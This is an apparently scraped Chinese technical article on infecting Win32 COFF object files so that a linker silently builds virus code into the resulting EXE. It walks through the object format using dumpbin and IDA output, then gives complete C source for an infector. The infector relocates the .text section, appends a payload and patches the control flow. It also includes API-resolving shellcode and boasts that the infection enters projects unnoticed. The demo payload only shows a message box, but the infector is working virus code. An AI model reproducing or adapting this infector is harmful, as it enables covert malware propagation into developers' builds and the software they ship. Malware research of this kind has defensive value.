<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    Win32 coff-obj文件感染技術研究

    By nEINEI 
    
    
    [目錄]
    
    [0x01] .簡介
    [0x02] .感染思路
    [0x03] .coff-obj格式
    [0x04] .修改宿主數據
    [0x05] .code
    [0x06] .其它
    
    
    [0x01] .簡介
    
        本文介紹了如何感染win32平臺的coff-obj格式的文件。在沒有rebuild all情況下,被
    感染coff-obj文件將被鏈接器從新合并到新文件當中,病毒代碼也就將寄宿于產生的EXE文
    件中。
    
      
    [0x02] .感染思路
     
        可感染obj文件的病毒非常少,主要集中在感染DOS時期的com文件,最早的感染obj文件
    的病毒是Stormbringer在1993年編寫的shifter。charme的blog上有關于這個的詳細分析
    《感染OBJ文件》。在win32平臺下貌似還沒看到有感染coff-obj格式的病毒,下面將演示如
    何去感染coff-obj文件的實現思路。
     
        主要的想法,還是要獲得coff-obj文件中代碼執行的控制流程,但受coff-obj格式限制,
    使得感染方式不可能像PE文件那樣靈活。但仍然可以用很多思路來突破感染這些瓶頸。
     
        PE文件的主要感染思路                        coff-obj
         
        1 感染文件頭                                頭部無可操作空間
        2 修改EOP                                   沒有EOP的概念
        3 添加新節                                  可以嘗試
        4 EPO(入口模糊)                          可以嘗試
        5 hook 導入表                               可以嘗試
        6 PE捆綁                                    鏈接器執行會出問題
        7 ...                                       ...
         
        這里采用比較穩妥的方式來獲得控制流程,就是重新構造一個cof-obj格式的.text段來
    獲得控制流程,下面先看一下coff-obj的文件格式。
         
    [0x03] .coff-obj格式
    	   
        coff-obj 文件格式比較清晰,由文件頭+可選頭+段+數據+重定位+符號組成。對obj文
    件來說是沒有可選頭的概念的,所以后面提到的coff-obj專指生成的目標文件格式,簡稱obj,
    下面是要構造一個新的.text段的示意圖,實際段的排列和重定位的數據是混合的,此處僅是
    為了方便描述,簡化處理了。
    	   
    	   +--------------+
    	   | FILEHDR      |
    	   +--------------+
    	   | SECHDR1      | -----------\假設此處是原.text段,修改節數據使它指向新的添加數據
    	   +--------------+            | 
    	   | SECHDR2      |            |
    	   +--------------+            | 
    	   | ...          |            |
    	   +--------------+            | 
    	   |  SECHDR N    |            |
    	   +--------------+            |
    	   |  SECDATE     |            |
    	   +--------------+            |
    	   |  LINE        |            |
    	   +--------------+            |
    	   |  Symbol      |            | 
    	   +--------------+            |
    	   |  String      |            |
    	   +--------------+            |
    	   | new data     | <----------.    
    	   +--------------+ 
    	   
        下面使用一個簡單的c程序t_obj來詳細說明obj格式。
    	   
    //----------------------------------------------------------------------
    			#include <stdio.h>
    			int main()
    			{
    				char *title = "hello world!";
    				printf(title);
    			}
    //----------------------------------------------------------------------			
    
    	   cmd > dumpbin /all /disasm t_obj.obj
    	   
        截取主要部分打印數據:
    	   
    //-------------------------------- 文件頭 -------------------------------
    FILE HEADER VALUES
    	   14C machine (i386)
    	     4 number of sections *** 重要的結構,這告訴我們這個obj文件有幾個段,而我們關心的就是.text段
    	4C6DF71D time date stamp  
    	   125 file pointer to symbol table
    	    10 number of symbols
    	     0 size of optional header
    	     0 characteristics
                   
    //-------------------------------- .drectve段 -----------------------------
    //----該段在obj文件被link過程中會被舍棄掉,主要提供給link的命令參數-------
    
    SECTION HEADER #1
    .drectve name
           0 physical address
           0 virtual address
          26 size of raw data
          B4 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
      100A00 flags
             Info
             Remove
             1 byte align
    
    RAW DATA #1
      00000000: 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4C 49 42 43  -defaultlib:LIBC
      00000010: 20 2D 64 65 66 61 75 6C 74 6C 69 62 3A 4F 4C 44  -defaultlib:OLD
      00000020: 4E 41 4D 45 53 20                                NAMES 
    
       Linker Directives
       -----------------
       -defaultlib:LIBC
       -defaultlib:OLDNAMES
    
    //-------------------------------- .text段 -----------------------------
    
    SECTION HEADER #2
    	 .text name
    	     0 physical address
    	     0 virtual address
    	    10 size of raw data                   -----> 段長度,也就是實際編碼長度
    	    DA file pointer to raw data           -----> .text中代碼,相對文件頭部的偏移
    	    EA file pointer to relocation table   -----> 指向.text中需要重定位的數據指針
    	     0 file pointer to line numbers
    	     2 number of relocations              -----> .text中代碼,需要被修正的重定位數量
    	     0 number of line numbers
    	60501020 flags
    	       Code
    	       Communal; sym= _main
    	       16 byte align
    	       Execute Read
    
    _main:
      00000000: 68 00 00 00 00     push    offset _main   ---->此處偏移是0x00000000,還沒有被重定位
      00000005: E8 00 00 00 00     call    0000000A       ---->此處偏移是0x00000000,還沒有被重定位
      0000000A: 59                 pop     ecx
      0000000B: C3                 ret
      0000000C: 90                 nop
      0000000D: 90                 nop
      0000000E: 90                 nop
      0000000F: 90                 nop
    
    RAW DATA #2
      00000000: 68 00 00 00 00 E8 00 00 00 00 59 C3 90 90 90 90  h.........Y.....
      
        具體0x68,0xe8后面的值需要由編譯器來絕對。
      
    
    //--------------------- .text段中的被修正的重定位表 --------------------
    //最終代碼就是根據該表中的值給鏈接器提供信息做最后的重定位依據
    
    RELOCATIONS #2
                                                    Symbol    Symbol
     Offset    Type              Applied To         Index     Name
     --------  ----------------  -----------------  --------  ------
     00000001  DIR32                      00000000         D  ??_C@_0N@NHHG@hello?5world?$CB?$AA@ (`string")
     00000006  REL32                      00000000         A  _printf
         
         
        這里說一下,重定位的類型有3類:
        
    DIR32    ---> 直接重定位,多是字符串一類情況,需要有鏈接器最終定位具體的虛擬地址值
    REL32    ---> 相對重定位,當前opcode,相對于要跳轉的函數的相對偏移值
    DIR32NB  ---> 供調試信息使用,與DIR32的區別是重定位值不包含可執行文件的默認加載地址
    
    
        00000001,00000006表示相對.text代碼處要修正的位置偏移,也就是[]括起來的部分
    
    00000000: 68 [00] 00 00 00     push        offset _main    
    00000005: E8 [00] 00 00 00     call        0000000A     
    
    //-------------------------------- .data段 -----------------------------
    
    SECTION HEADER #3
       .data name
           0 physical address
           0 virtual address
           D size of raw data
          FE file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0301040 flags
             Initialized Data
             Communal; sym= "`string"" (??_C@_0N@NHHG@hello?5world?$CB?$AA@)
             4 byte align
             Read Write
    
    RAW DATA #3
      00000000: 68 65 6C 6C 6F 20 77 6F 72 6C 64 21 00           hello world!. 
    
        數據的位置最后由鏈接器來定義。
    
    //------------------------------------------------------------------------------	
       
        下面看一下t_obj.obj在IDA中的顯示情況:
       
    		.text:00000000                  public _main
    		.text:00000000                  _main           proc near
    		.text:00000000 68 10 00 00 00   push    offset ??_C@_0N@NHHG@hello?5world?$CB?$AA@ ; "hello world!"
    		.text:00000005 E8 16 00 00 00   call    _printf
    		.text:0000000A 59               pop     ecx
    		.text:0000000B C3               retn
    		.text:0000000B                  _main           endp
    		
        IDA根據重定位表的格式,對.text段分別修正為0x10 ,0x16 兩個偏移。同時當你增加
    .text coe大小時,鏈接器會自動調整.data的位置。
    
    //------------------------------------------------------------------------------	
    
        最終生成的t_obj.EXE文件顯示情況
        
    		00401000   /$  68 30704000      push t_obj.00407030  ;  ASCII "hello world!"
    		00401005   |.  E8 06000000      call t_obj.00401010
    		0040100A   |.  59               pop ecx
    		0040100B   \.  C3               retn
    		
    
        字符串"hello world!" 被定位到了0x00407030
        print 函數被定位到相對偏移0x05 + 0x6 = 0x0b 的位置,也即是虛擬地址為401010
        
        此時我們知道,如果要修改obj文件的.text代碼是要注意的,要避免修改到重定位的部
    分,否則你的代碼也會被鏈接器改寫。
        
    [0x04] .修改宿主數據
        
        1. 修改.text結構使其指向新加入的病毒代碼位置,下面是段的結構體類型:
          
    		typedef struct _sec_hdr
    		{ 
    			char c_name[8];              // 段名 
    			unsigned long  ul_v_size;    // 虛擬大小 
    			unsigned long  ul_v_addr;    // 虛擬地址 
    			unsigned long  ul_sec_size;  // 段長度 
    			unsigned long  ul_sec_off;   // 段數據偏移 
    			unsigned long  ul_rel_off;   // 段重定位表偏移 
    			unsigned long  ul_lno_off;   // 行號表偏移 
    			unsigned short ul_num_rel;   // 重定位表個數
    			unsigned short ul_num_ln;    // 行號表長度 
    			unsigned long  ul_flags;     // 段標識 
    		}sec_hdr;
    		
        ul_sec_size --> 修改為原代碼的長度+病毒代碼長度+重定位表長度
        ul_sec_off  --> 指向文件末尾
        
        2. 在分析中發現一個問題,如果把原.text的代碼拷貝到新的空間中而不拷貝重定位數
    據,會導致鏈接器無法執行。生成的EXE文件也無法執行,因為那部分數據被病毒代碼填充,
    鏈接器無法解析。
     
        雖然.text 的代碼部分長度并不包括重定位部分長度,且包括指向段內重定位表偏移的
    指針,鏈接器可以根據原有那個表進行重定位操作,但實際情況是,鏈接器會因為你的修改,
    把原有數據重定位弄錯誤,在IDA中觀察是沒有問題的,但最終生成的EXE文件是完全混亂的。
          
        所以我的一個猜測是段結構中的重定位偏移僅是提供給外部程序解析參考用的(如IDA,
    dumpbin),而鏈接器只接受默認.text后面就是重定位表的事實。所以為了能執行成功,我
    們還是把重定位部分拷貝過去,所以我們新增數據的長度是以上3部分的長度總和。
     
        3. 修改原有代碼,使其跳向病毒代碼。
        
      _main:
      00000000: 68 00 00 00 00     push        offset _main
      00000005: E8 00 00 00 00     call        0000000A
      0000000A: 59                 pop         ecx
      0000000B: C3                 ret ----------------\       
      0000000C: 90                 nop                 |
      0000000D: 90                 nop                 |
      0000000E: 90                 nop                 |
      0000000F: 90                 nop                 |
      ... 注意此處是重定位表的數據,要跳過該部分長度   |                                                |
                                                       |
      000000xx: nop <----------------------------------/
      000000xx: nop
      000000xx: nop
      ...virus code 
      
        4. 返回原代碼部分
        
        簡單的情況,可直接在病毒代碼中ret返回即可,宿主情況復雜的話,需要計算好偏移
    重新跳回去。
        
        5. 感染后的情況
      
      SECTION HEADER #2
       .text name
           0 physical address
           0 virtual address
          D9 size of raw data                     ----> 長度已經被重新計算
         26D file pointer to raw data             ----> 指向了文件末尾
          EA file pointer to relocation table     ----> 沒有修改原有重定位表
           0 file pointer to line numbers
           2 number of relocations
           0 number of line numbers
    60501020 flags
             Code
             Communal; sym= _main
             16 byte align
             Execute Read
    
    _main:
      00000000: 68 00 00 00 00     push        offset _main
      00000005: E8 00 00 00 00     call        0000000A
      0000000A: 59                 pop         ecx
      0000000B: EB 1C              jmp         00000029  -------------------\
      0000000D: 00 00              add         byte ptr [eax],al            |
      0000000F: 00 01              add         byte ptr [ecx],al            |
      00000011: 00 00              add         byte ptr [eax],al            |
      00000013: 00 0D 00 00 00 06  add         byte ptr ds:[6000000h],cl    |
      00000019: 00 06              add         byte ptr [esi],al            |
      0000001B: 00 00              add         byte ptr [eax],al            | 
      0000001D: 00 0A              add         byte ptr [edx],cl            |
      0000001F: 00 00              add         byte ptr [eax],al            |
      00000021: 00 14 00           add         byte ptr [eax+eax],dl        |
      00000024: 68 65 6C 6C 90     push        906C6C65h                    |
      00000029: 90                 nop   <----------------------------------/    跳向了我們想要執行的代碼                    
      0000002A: 90                 nop
      0000002B: 90                 nop
      0000002C: 90                 nop
      0000002D: 90                 nop
      0000002E: 90                 nop
      0000002F: 90                 nop
      00000030: 90                 nop
      00000031: FC                 cld
      00000032: 68 6A 0A 38 1E     push        1E380A6Ah
      00000037: 68 63 89 D1 4F     push        4FD18963h
      0000003C: 68 32 74 91 0C     push        0C917432h
      00000041: 8B F4              mov         esi,esp
      00000043: 8D 7E F4           lea         edi,[esi-0Ch]
      ...
    
    
    [0x05] .code
    
        代碼演示的部分僅彈出一個MessageBox,我比較懶,所以偷懶用failwest的一個shellcode_popup_general
    代碼(thx ^_^)稍作修改。 
        
    //------------------------------------------------------------------------------
    #include <stdio.h>
    #include <string.h>
    #include <malloc.h>
    void vir_code(void);
    void vir_code_end(void);
    int main(int argc, char* argv[])
    {	
    	FILE            *h = 0; 
    	unsigned char *buf = 0;
    	int        numread = 0;
    	int              i = 0;
    	int         f_size = 0;
    	int       vir_size = 0;
    	int         a_size = 0;
    	int        tx_off = 0;
    	
    	// coff-obj 文件頭結構
    	typedef struct _coff_obj_header
    	{
    		short int magic;
    		short int sections;
    		long      t_stamp;
    		long      symbol_to_pointer;
    		long      symbol_to_number;
    		short int optional_header;
    		short int flgs;
    	}coff_obj_header;
    
    	typedef struct _sec_hdr
    	{ 
    		char c_name[8];              // 段名 
    		unsigned long  ul_v_size;    // 虛擬大小 
    		unsigned long  ul_v_addr;    // 虛擬地址 
    		unsigned long  ul_sec_size;  // 段長度 
    		unsigned long  ul_sec_off;   // 段數據偏移 
    		unsigned long  ul_rel_off;   // 段重定位表偏移 
    		unsigned long  ul_lno_off;   // 行號表偏移 
    		unsigned short ul_num_rel;   // 重定位表個數
    		unsigned short ul_num_ln;    // 行號表長度 
    		unsigned long  ul_flags;     // 段標識 
    	}sec_hdr;
    
    	typedef struct _reloc_s
    	{
    		unsigned long  ul_off;        // 定位偏移 
    		unsigned long  ul_symbol;     // 符號
    		unsigned short us_type;       // 定位類型
    	}reloc_s;
    
    	coff_obj_header coh_buf;
    	sec_hdr              sh;
    
    	long            tx_rel_off;       
    	long            tx_rel_len;      
    	long            txt_len;         
    	long            txt_off;
     
    
    	if (argc <2)
    	{
    		printf("please enter the obj file path to infection\n");
    		return 0;
    	}
    	
    	if (0 == (h = fopen(argv[1],"r+")))
    	{
    		printf("the file %s was not opened\n",argv[2]);
    		return 0;
    	}
    	
    	fseek(h,0,SEEK_END); 
    	f_size = ftell(h);
    	fseek(h,0,SEEK_SET);
    	
    	numread  = fread(&coh_buf,sizeof (coff_obj_header),1,h);
    
    	for(i = 0 ; i < coh_buf.sections;i++)
    	{
    		fread(&sh,sizeof(sec_hdr),1,h);
    
    		if (0 == strnicmp(".text",sh.c_name,5))
    		{
    			tx_off  = sizeof(coff_obj_header) + i * sizeof(sec_hdr);
    			txt_off = sh.ul_sec_off;
    			txt_len = sh.ul_sec_size;
    
    			//讀取重定位表數據
    			tx_rel_off = sh.ul_rel_off;
    			tx_rel_len = sh.ul_num_rel * sizeof(reloc_s);  
    			break;
    		}
    	}
    	
    	// 構造一個新的obj緩沖區
    	vir_size = (int)((int)&vir_code_end - (int)&vir_code);
    
    	a_size   = f_size + vir_size + tx_rel_len + 1;
    	buf      = (unsigned char *)malloc(a_size);
    	
    	memset(buf,0,f_size + vir_size +1);
    	
    	fseek(h,0,SEEK_SET);
    	fread(buf,sizeof(unsigned char),f_size,h);
    	fclose(h);	
    	h = 0;
    
    	// 修改text節的執行	
    	// 將原有.text數據定位的文件尾部
      
    	printf("buff + f_size :%0x\n",buf + f_size);
    	memcpy(buf + f_size,buf + txt_off,txt_len);
    	
    	// copy重定位表
    	memcpy(buf + f_size + txt_len,buf + tx_rel_off,tx_rel_len);
    
    	// copy virus
    	memcpy(buf + f_size + txt_len + tx_rel_len,vir_code,vir_size);
    	
    	// 修改.text節代碼偏移
    	//sh.ul_sec_size
    	(*(unsigned long *)(buf + tx_off + 8 + 4 + 4))     = txt_len + vir_size + 9;
    	//sh.ul_sec_off
    	(*(unsigned long *)(buf + tx_off + 8 + 4 + 4 + 4)) = f_size;
    	
    	// 修改原有ret指令,跳過重定位表,此處需要反匯編引擎支持,搜索0xc3,定位要修改的jmp 位置,POC演示直接定位.
    	
    	(*(unsigned char *)(buf + f_size + 0x0b)) = 0xeb;
    	(*(unsigned long *)(buf + f_size + 0x0c)) = (txt_len - 0xc) + tx_rel_len - 1;
    
    	// 加入ret指令返回,或跳轉會宿主
    	// ...
    	
    	// 寫入一個新的obj	
    	if(0 ==(h = fopen("t_obj.obj","wb")))
    	{
    		printf("the file t_obj.obj was not created\n");
    		return 0;
    	}
    	fwrite(buf,sizeof(unsigned char),a_size,h);
    	fclose(h);
    	return 1;
    }
    __declspec(naked) void vir_code(void)
    { 
    	_asm{	
    			nop
    			nop
    			nop
    			nop
    			nop
    			nop
    			nop
    			nop
    			nop
    			CLD               ; clear flag DF
    			                  ;store hash
    			push 0x1e380a6a   ;hash of MessageBoxA
    			push 0x4fd18963   ;hash of ExitProcess
    			push 0x0c917432   ;hash of LoadLibraryA
    			mov esi,esp       ; esi = addr of first function hash 
    			lea edi,[esi-0xc] ; edi = addr to start writing function 
    			; make some stack space
    			xor ebx,ebx
    			mov bh, 0x04 			 
    			sub esp, ebx 			
                            ; push a pointer to "user32" onto stack 
    			mov bx, 0x3233    ; rest of ebx is null 
    			push ebx 
    			push 0x72657375 
    			push esp 
    			
    			xor edx,edx
    			; find base addr of kernel32.dll 
    			mov ebx, fs:[edx + 0x30]  
    			mov ecx, [ebx + 0x0c] 	 
    			mov ecx, [ecx + 0x1c] 		 
    			mov ecx, [ecx]            
    			mov ebp, [ecx + 0x08] 	 	
    		find_lib_functions: 
    		
    			lodsd 					          
    			cmp eax, 0x1e380a6a		    
    									              
    			jne find_functions 
    			xchg eax, ebp 			     
    			call [edi - 0x8] 		      
    			xchg eax, ebp 			       
    									            
    		find_functions: 
    			pushad 						       
    			mov eax, [ebp + 0x3c]		  
    			mov ecx, [ebp + eax + 0x78]	 
    			add ecx, ebp 				      
    			mov ebx, [ecx + 0x20] 	 
    			add ebx, ebp 				     
    			xor edi, edi 				     
    
    		next_function_loop: 
    			inc edi 					         
    			mov esi, [ebx + edi * 4] 	 
    			add esi, ebp 				      
    			cdq 						           
    			
    		hash_loop: 
    			movsx eax, byte ptr[esi]
    			cmp al,ah
    			jz compare_hash
    			ror edx,7
    			add edx,eax
    			inc esi
    			jmp hash_loop
    
    		compare_hash:	
    			cmp edx, [esp + 0x1c] 		 
    			jnz next_function_loop 
    			
    		 
    			mov ebx, [ecx + 0x24] 		 
    			add ebx, ebp 				 
    			mov di, [ebx + 2 * edi] 	 
    			mov ebx, [ecx + 0x1c] 		 
    			add ebx, ebp 				 
    			add ebp, [ebx + 4 * edi]  
    										 
    			xchg eax, ebp 				 
    			pop edi 					 
    			stosd 					 
    			push edi 
    			popad				 					 				 
    			cmp eax,0x1e380a6a
    			jne find_lib_functions 
    
    		function_call:
    			xor ebx,ebx
    			push ebx              // cut string
    			push 0x00726574       // show Win32.Swelter
    			push 0x6C657753		 
    			mov eax,esp           //load address of Swelter
    			push ebx	
    			push eax
    			push eax
    			push ebx
    			call [edi - 0x04]     //call MessageboxA
    			push ebx
    			call [edi - 0x08]     // call ExitProcess
    			ret			
    	}
    }
    __declspec(naked) void vir_code_end(void)
    {
    	
    }
    //------------------------------------------------------------------------------
    
    
    [0x06] .其它
    
        關于感染的方式還有很多中方法,比如利用重定位表,構造一個加載后能跳轉到virus code
    值,感興趣的朋友可以去嘗試下,coff - obj的感染條件比較苛刻,至少要在有編譯器的機
    器上搜索到有obj才行,并且沒有做rebuild all 操作,而是直接編譯鏈接代碼,這樣才會神
    不知鬼不覺的把病毒代碼編譯進自己的工程里面來。
          
        由于對鏈接器原理理解不夠深入及對coff文件格式本身理解不準的地方可能導致本文存
    在描述中存在疏漏,如果有什么問題給mail我,neineit@gmail.com,歡迎交流指正。
    
    
    附參考文獻:
    
    [1] Matt Pietrek.    《Linker Algorithm》
    [2] John R. Levine.  《Linkers & Loaders》
    [3] coff 格式.        http://baike.baidu.com/view/1240794.htm
    [4] failwest.        《shellcode_popup_general》
    
    附件下載
    -EOF-
    
    97av